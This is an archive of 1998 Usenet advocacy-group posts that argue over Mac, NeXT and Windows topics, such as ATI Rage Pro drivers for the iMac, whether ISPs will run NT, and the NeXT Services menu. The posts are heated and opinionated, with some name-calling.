From: holger@_REMOVE_THIS_.wizards.de (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 23 Jun 1998 21:50:48 GMT
Organization: the unstoppable code machine
Message-ID: <6mp7vo$nk@ragnarok.en.uunet.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com>
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This thread really pisses me off. Really.
Where's the inherent 'value' of making programming easy? Nobody complains
that particle physics, the various forms of engineering, heart and brain
transplants or flying to the moon is 'so hard'. Why should programming a
machine as versatile and complicated as a computer be 'easy'?
What's this (very American, btw!) sick attitude to dumb everything down
to the lowest common denominator? Wrongly understood mass-market appeal
of technology is pretty much going to backfire. Programming will *always*
be hard.
Holger
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Tue, 23 Jun 1998 22:48:31 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <3590770F.3483@globaldialog.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu>
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Andrew Laurence wrote:
>
> In article <6mpkdi$6on$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
>
> >-> Right now MS is telling ISPs that within 2 years they *will* be running
> >-> NT, not unix.
> <snip>
> >
> >People who run ISP's, for the most part, are much more savvy than the typical
> >IT drone in a medium-sized company.
>
> Savvy technically, yes. Savvy in business also.
>
> Customers want to use FrontPage for editing their web sites. The
> customers want to use the nifty FrontPage "edit your web" functionality
> which requires that the FP extensions be running on the web server. The
> ISP, looking to serve the needs of their customers, installs the FP
> extensions. Then the ISP discovers that they don't work well, and cause
> their wonderful UNIX server(s) to behave in all sorts of untoward ways.
>
> So they install an NT server in order to run the FP stuff in a peaceful fashion.
>
> Make no mistake - five years ago, MS was gunning to take down Novell as
> the premier NOS for business. That has been accomplished. Now they're
> gunning for UNIX - ISPs are the easiest place in which to do that, because
> the ISP's machine room is closely tied to the end customers' needs. Then
> will follow UNIX in higher ed (already happening, by the way), then
> Enterprise. Why do you think that MS announced the "UNIX Addon Pack for
> NT" a while back?
>
Everything you've said is true. Those who under estimate NT are very
stupid indeed!
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:35:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p10ge.pk0.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com>
On Wed, 24 Jun 1998 03:32:20 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Um....were you born a jerk, or is this just some recent personality
>shift?
Do you call everyone who disagrees with you names? I outgrew this
about the same time I learned to tie my own shoes...
>I've *owned* the GD thing! I've *owned* Rage II/Pro cards and setup many
>machines with them. I owned ATI products FIVE YEARS AGO.
BFD.
>> From http://www.tomshardware.com/atixpert.html
>> "ATI's Rage Pro also offers a very good 3D image quality, making it the
>> only other chip next to the 3Dfx Voodoo,"
>
>Let me explain to you that 3d "image quality" also has to do with
>something called "frame rate," dummy. If images move at slow, jerky
Your FUD doesn't change the fact that Tom's hardware, a site that
*you* quote, contradicts what *you* claim.
>> This is what Tom of http://www.tomshardware.com/ thinks of the card you
>> trashed:
>> "A very good 3D paired with a very good 2D performance, the support of 4
>> and 8 MB onboard RAM, hence the support of up to 1280x1024 3D resolution
>> and last but not least the optional TV output make this card a very good
>> all-round solution, apealing to gamers as well as professionals ... as
>> long as you don't require OpenGL."
>I've had, over the years, more TROUBLE with ATI software drivers than
>all of the other cards I've owned put together!
Mac drivers or PC drivers? Why should I take your word on PC drivers
over a Mac users word on the Mac drivers?
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 24 Jun 1998 04:42:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p10u3.pk0.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net> <6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com> <6mlro0$gfb$1@ns3.vrx.net> <slrn6ou5b2.h67.sal@panix3.panix.com> <6mnrhg$3vn$4@ns3.vrx.net> <slrn6ovr77.s38.sal@panix3.panix.com> <6mob3a$fci$1@ns3.vrx.net>
On 23 Jun 1998 13:37:46 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <slrn6ovr77.s38.sal@panix3.panix.com> Salvatore Denaro claimed:
>> Why didn't they run to AU/X while Apple was selling it?
> Because of the resource requirements. In the years since Unix's
>requirements have grown somewhat, but hardware abilities have grown many
>times over. The end result is that Unix systems now typically require less
>hardware than the other desktop apps of the day, whereas I'd say that was
>untrue as recently as '94.
Fair enough.
>> I think most Mac users see Unix as being "scary"
> For now. Then they'll see it as "wonderful".
I thought the goal was to keep them from seeing it unless that want to see
it? :)
--
sal@panix.com
Salvatore Denaro
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: 23 Jun 98 21:31:45
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun23213145@slave.doubleu.com>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu>
<slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net>
<rmcassid-2306980018090001@dialin9231.slip.uci.edu>
<6mocm6$5ud$1@news.cmc.net>
<rmcassid-2306980903500001@dante.eng.uci.edu>
In-reply-to: rmcassid@uci.edu's message of Tue, 23 Jun 1998 09:03:50 -0700
In article <rmcassid-2306980903500001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) writes:
My understanding of services is the problem. Do service
interactions actually care what _class_ I use, or do they just pass
data? That is, if you wanted to give me the ability to open GIF2k,
how would a carbon app that didn't understand NSImage react to it?
Are you really just passing me a different format that could be
matched to a standard Carbon struct?
Services is more basic than a "class". As a services provider, you
register for what pasteboard types you can handle as input and/or
output. As a services client, you register for what pasteboard types
you can provide and accept back. The system matches things up.
Note that these are _pasteboards_. So image data is in TIFF (or GIF
or PNG or whatever) format, it's not an NSImage instance. You might
use NSImage to suck the data out of the image and work with it, or you
can write your own handler. Likewise, a text type pasteboard contains
text, you don't have to process it using NSText objects.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Services menu (was: Inconsistent apps on MacOS X)
Date: 23 Jun 98 12:09:23
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun23120923@slave.doubleu.com>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu>
<slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net>
<slrn6ouegg.qhf.sal@panix3.panix.com>
<Pine.NXT.3.96.980623094937.20163A-100000@pathos>
<1db37f6.1q68em3dkvyliN@rhrz-isdn3-p10.rhrz.uni-bonn.de>
In-reply-to: schuerig@acm.org's message of Tue, 23 Jun 1998 17:53:21 +0200
In article <1db37f6.1q68em3dkvyliN@rhrz-isdn3-p10.rhrz.uni-bonn.de>,
schuerig@acm.org (Michael Schuerig) writes:
Bill Bumgarner <bbum@codefab.com> wrote:
> There isn't any reason why a Mac OS X app can't have a services
> menu! Sure, it may not have the full functionality of a YB
> services menu, but it could have one.
An interesting question is if it *should* have a services menu.
<...>
But, then, if you think of it, it's not very intuitive to stuff a
lot of disparate things into one single menu just because they
happen to be scripts -- or services! It would be *far* better to
have user customizable menus, where commands can be moved to places
where they semantically make sense.
Well, yes, perhaps, but I'm not sure it's that easy. After I wrote
TickleServices, my Services menu quickly got out of control. I don't
mind so much the lack of organization (you can put Services in the
Services menu or a submenu of Services). More, it's that there are so
many things you might want to do, and there aren't really good ways to
distinguish what should be available where.
For instance, I'd want "Mail/Reformat Text" available _everywhere_.
This wraps text to a reasonable column width, and I use it ten to a
hundred times a day in a variety of apps. On the other hand, I use
"Tickle Services/Evaluate Arithmetic" perhaps a couple times a month -
but I don't use it in any particular app more than any other app.
Clearly, it would be preferrable to make the one more accessable than
the other - but if I have to spend five minutes finding "Evaluate
Arithmetic" to use it, I'm not going to use it.
That said, it might be nice to have some amount of "learning" built
into the system. Perhaps services don't appear at the top level of
the Services menu of an app by default. Instead, they all appear in a
submenu. As you use them in that app, they get promoted to the top
level. That way you'll only deal with the ones you use in any given
app.
In the extreme this would mean to have fully customizable user
interfaces that are connected to the "models" (in MVC-speak) in a
user-level IB.
I think this would be interesting, but in my experience it's easier
said than done. Clients are always asking me to generalize apps
without references. By that I mean that it's very hard to present a
general API without three or more examples of usage. Some things,
like connecting up Save and Copy are easy, while more complex options
can be very hard to provide access to in a sensible fashion.
Services are really a lowest-common-denominator type of API, and as
such I think it's moderately appropriate to have them in a seperate
submenu, just to keep the app's actual menus clean. [For most apps, I
have 2-4x as many items in my Services menu as the app's real menus
have!]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Message-ID: <35907946.259771E8@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
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Date: Wed, 24 Jun 1998 03:53:43 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:53:43 GMT
Organization: MCI2000
Nathan G. Raymond wrote:
>
> If your experience is with the Rage II or Rage Pro 3D in Windows, I can
> understand where you're coming from. But your opinion is unfounded with
> Rage Pro on the Mac, period. I consider ATI's Rage Pro to be a valuable
> asset to the G3 line, and hope they transition away from Rage II as
> quickly as possible and make 8MB, not 6MB, the expansion limit.
>
As ATI hardware/software environment is still relatively new to the Mac
environment, I can only say....wait awhile, and see....:)
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:37:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p10jv.pk0.sal@panix3.panix.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <35852FC2.1433BE70@spamtoNull.com> <6m90a6$6u9$2@news.spacelab.net> <358B2BD3.BCC40A76@spamtoNull.com> <6mmbpp$ni3$1@news.spacelab.net> <3590761C.54BC4A9D@spamtoNull.com>
On Wed, 24 Jun 1998 03:40:14 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> > The Play Station is a *game console.*
>> Agreed. Why are game consoles not computers?
>Um....because they're *game consoles?*
What a stunning display of circular logic from the master.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 24 Jun 1998 04:51:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p11e7.pk0.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <Ev0J20.An9@micmac.com> <slrn6p04bn.ghk.sal@panix3.panix.com> <898643883.37248@kelp.mbay.net>
On 24 Jun 1998 00:13:38 GMT, Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
>>>(If not the cube would have been created INSIDE of Apple and Carbon would
>>>have existed 10 years ago...)
>>Maybe.
>I doubt it. If Steve had stayed at Apple the Mac probably would have
>evolved more.
I don't doubt that.
The Mac would have evolved from 1984->1998 much differently. I might
have become a much better machine. And it would still have been killed
by Windows.
> The black hardware and NeXTStep were the result of
>a clean break; since they couldn't use any of the old Apple stuff,
>they swiped from Unix and Smalltalk, which had different ancestery.
I still think Steve would have raided the .edu world for the stuff he
missed in his trip to Parc. OOP, networking and "modern OS" features
would have been added to the Mac, rather than having them form the
basis of NeXTStep.
--
sal@panix.com
Salvatore Denaro
Message-ID: <35907BE9.4704F7A6@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu> <see-below-2306980046450001@dynamic23.pm01.mv.best.com>
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Date: Wed, 24 Jun 1998 04:04:59 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 04:04:59 GMT
Organization: MCI2000
Matthew Vaughan wrote:
>
> Rage Pro isn't unusable on Windows by any means, but regardless of drivers
> it's about the slowest and one of the worst looking of the current
> generation of 3D chipsets (current=shipping in products you can buy
> today). It's basically equivalent to a Voodoo Graphics (slower in Quake
> and probably other OpenGL games, but otherwise not too bad), but nowadays
> that's considered pretty out of date on Wintel PCs (Voodoo is 1-1/2 years
> old). But it's still state-of-the-art on the Mac. We just don't have
> anything better to compare it to on the Mac, so it seems pretty good to
> us.
Matthew, my hat's off to you!....:) Good summation! I can tell you know
your stuff. It's refreshing to actully hear from someone who's done more
than just read PR fluff...:) Even though we may from time to time
disagree, I'd rather disagree with someone who has some actual
experience...:)
>
> It's possible the Mac/RAVE drivers are a bit better, but I though the D3D
> drivers were pretty good, it's mainly OpenGL that's been lacking.
>
> I think it's just adequate for the iMac, but it is adequate. Sure there's
> better stuff out there, but Rage Pro is basically the bare minimum
> acceptable 3D to include on a computer of any kind these days. I'm not
> concerned that it won't have a Riva128 or Voodoo Banshee or Intel 740 or
> whatever, but the idea of shipping it with Rage II just makes me shake my
> head in despair.
Let's hope that by August or whenever iMac is released there will *at
least* be a Pro in there.
>
> I think it's very very likely it will have Rage Pro, but I just wish Apple
> would go ahead and make some kind of announcement or even hint to that
> effect, and we could stop arguing (well, we'd still argue that it should
> be something better than Rage Pro, but I at least would be satisfied for
> the time being...)
>
I think that since the iMac can't be upgraded at all in the graphics
department, Apple should go all out to equip it with much more than
barely adequate, which the Pro barely is. I'd like to see something
really great--3dfx released the Banshee yesterday--it's a blazing 2d/3d
chip (true 128 bits internal bussed) with 3d performance that in some
areas exceeds even Voodoo2--(in some areas it's slower--mainly in
single-pass, multitexture environments like GL Quake--but not *that*
much slower.) Anyway, the chip is supposed to sell for $38 or some such
ridiculous fee, so it would certainly be a candidate for integration,
providing Apple would do so. To me, that would make iMac make a lot more
sense.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 05:46:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p14lj.sk.sal@panix3.panix.com>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu> <see-below-2306980046450001@dynamic23.pm01.mv.best.com> <6mnqp1$3vn$3@ns3.vrx.net> <35907CF0.BA9046C9@spamtoNull.com>
On Wed, 24 Jun 1998 04:09:21 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Neither is the driver
>environment set up so that a user can change drivers at will to examine
>whether or not a particular problem might be related to drivers.
Not true.
There is a control panel where you can chose what extensions get loaded
by the system. You can also choose between different versions of an
extension.
(Thanks to Bob for pointing this out when I posted the same complaint
a while back.)
--
sal@panix.com
Salvatore Denaro
From: Soul_Brother1@NOSPAM.yahoo.com (John Black)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Message-ID: <35909292.12933066@news.atl.bellsouth.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com>
Date: Wed, 24 Jun 1998 05:48:16 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 01:48:16 EST
>-> Right now MS is telling ISPs that within 2 years they *will* be running
>-> NT, not unix.
>
>If any ISP's actually try to use NT to serve their dial-up or ISDN cutomers,
>they'll be weeded out rather quickly, just like all the BBS operators who
>tried to pretend that they offered a net connection just because they could
>take e-mail, and a newsfeed.
NT can't support that many users. Look what happened to Hotmail.
>People who run ISP's, for the most part, are much more savvy than the typical
>IT drone in a medium-sized company. They have to be: the ISP's are on the
>front lines of host security and reliability problems, and that's why they
>run Linux if they're clueful, BSDI if they're clueful and have some money,
>FreeBSD if they're even more clueful and don't have money.
Will NT is most definately NOT powerful enough to run an ISP, Linux
doesn't have the support and backing. Most ISP's run on Solaris.
>If I were an ISP, and MIcroSquish sauntered up to me and said: "Within two
>years, you *will* be running NT, not UNIX." I'd say: "The only way you can
>make me do that, is to buy this company of mine." and think to myself:
>"Yeah, right. Just like Hotmail!"
Microsoft tried to make Hotmail run off NT, but NT couldn't measure up
to the task, Hotmail was down 90% of the time, so MS was like, screw
it, you guys can go back to Solaris. There's the story on Sun's web
site.
Message-ID: <35907CF0.BA9046C9@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com>
<358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
<see-below-2306980046450001@dynamic23.pm01.mv.best.com> <6mnqp1$3vn$3@ns3.vrx.net>
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Date: Wed, 24 Jun 1998 04:09:21 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 04:09:21 GMT
Organization: MCI2000
Maury Markowitz wrote:
>
> In <see-below-2306980046450001@dynamic23.pm01.mv.best.com> Matthew Vaughan
> claimed:
> > Rage Pro isn't unusable on Windows by any means
>
> But in your prior messages in this thread you implied that the problems
> with the system found under Windows should be expected under the Mac as well.
> As we have all pointed out now, this is simply not the case. So let's leave
> that point, it's done to death.
I haven't heard *anything* that proves that assertion, except "The Mac
OS doesn't inform me that I have driver problems, so I guess I don't
have any." As I pointed out earlier, crashes and problems in the Mac OS
related to things like video drivers don't announce themselves and
aren't readily discernable by the user. Neither is the driver
environment set up so that a user can change drivers at will to examine
whether or not a particular problem might be related to drivers.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:14:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p0v8d.pk0.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <35906A1C.1C1DE66F@spamtoNull.com>
On Wed, 24 Jun 1998 02:49:02 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Try Tom's hardware page.
Good idea:
http://www.tomshardware.com/atixpert.html
Here is a quote:
"A very good 3D paired with a very good 2D performance, the support of 4
and 8 MB onboard RAM, hence the support of up to 1280x1024 3D resolution
and last but not least the optional TV output make this card a very good
all-round solution, apealing to gamers as well as professionals ... as long
as you don't require OpenGL"
This is a _glowing_ review of the card you are trashing, by a source
you list as credible.
>BTW, Mr. "Ogawa" is, of course, biased.
And you are not?
>Again, try Tom's hardware page. The guy exhaustively tests lots of
>things. He's just as turned off to ATI as I am.
Not according to the review he wrote.
>So, then, you are calling Apple's G3 desktops "low end?" I think you are
>confused on this issue.
They have slots, this is not an issue.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:22:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p0vo7.pk0.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com> <slrn6ot93f.mvv.sal@panix3.panix.com> <35906C9F.16454705@spamtoNull.com>
On Wed, 24 Jun 1998 02:59:44 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>In this case, Apple is merely the OEM to the
>ATI hardware. ATI makes it, develops it, writes the software for it and
>does the R&D for it--*Not* Apple.
According to Maury Markowitz, who works with Macs, this is not an issue.
Apple's drivers for the ATI cards on the Mac are good. I trust his word
over yours, he has worked on MacOS.
>My usual patience is wearing thin at this point.
That is usual a sign of someone who is badly losing an argument.
>Sorry to say, but you
>sound pathetically inexperienced.
How so?
> Do what I *did*--go out and *buy* the
>ATI hardware and *test it yourself* and *find out for yourself.* That's
>how I know what I know, and why I make the statements about ATI that I
>make.
On Mac hardware? Have you used ATI cards on Mac hardware?
>> you think that Apple would invest the time needed to make sure they shipped
>> solid drivers?
>I didn't have to *read it*, dufus (sorry for that). I learned it through
>bitter experience in a succession of ATI products over the last *SEVERAL
>YEARS.* If you'd rather read advertising promotionals than testimonials
>based on experience--well, I feel sorry for you. You've set yourself up
>to be led around by the nose.
Tom's hardware, a source *you* quote, gives the ATI card a glowing review.
If you can't get the cards to work, maybe you are the dufus.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:26:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p0vve.pk0.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no> <slrn6or9e4.h0d.sal@panix3.panix.com> <358E86B9.5E41A912@spamtoNull.com> <slrn6ot9ba.mvv.sal@panix3.panix.com> <35906DA4.95B91CE8@spamtoNull.com>
On Wed, 24 Jun 1998 03:04:05 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>We were talking about the iMac and how it was
>being marketed by Jobs as a game machine. I remarked that it was a poor
>game machine, then, since it was not upgradable to better gaming
>hardware.
I guess the PlayStation is a "poor game machine" since it isn't upgradable.
Then again, you have been trying to argue that the PS isn't a computer,
so I guess you don't know much about the PS.
BTW, you can swap out the motherboard on an iMac, and the CPU can be
upgraded. There is also a DAV port, that connects directly to the video
circuitry.
--
sal@panix.com
Salvatore Denaro
Message-ID: <3590787E.8FDB87BE@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com> <6mmcs4$2pl$1@nnrp1.dejanews.com>
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Date: Wed, 24 Jun 1998 03:50:24 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:50:24 GMT
Organization: MCI2000
quinlan@intergate.bc.ca wrote:
>
> Your right, a friend of mine has an ATI Rage Pro and we spend this Saturday
> writing an extension to fix some of the larger flaws in the driver. We may
> release it. BTW, does the 3D output seem a bit blurry to anyone else? Is that
> just the antialiasing algorithm?
Most likely its the bilinear filtering the card does--I think with the
Pro hardware you'd take a giant peformance hit with filtering *and*
antialiasing running at the same time. Some of that, too, depends on the
software you're running and the driver version.
>
> > ?????? This makes no sense that I can follow, sorry. How does the fact
> > that Apple has to debug ATI drivers equate to ATI being an excellent
> > choice for Apple?
>
> Because, presumably, they've already done it.
>
Who's done it?....:) Apple, or ATI? I think probably Apple has to do
some tweaking, but even so, it is certainly a lot easier and faster for
them than having to do their own hardware and drivers, too...
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 24 Jun 1998 04:38:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p10lt.pk0.sal@panix3.panix.com>
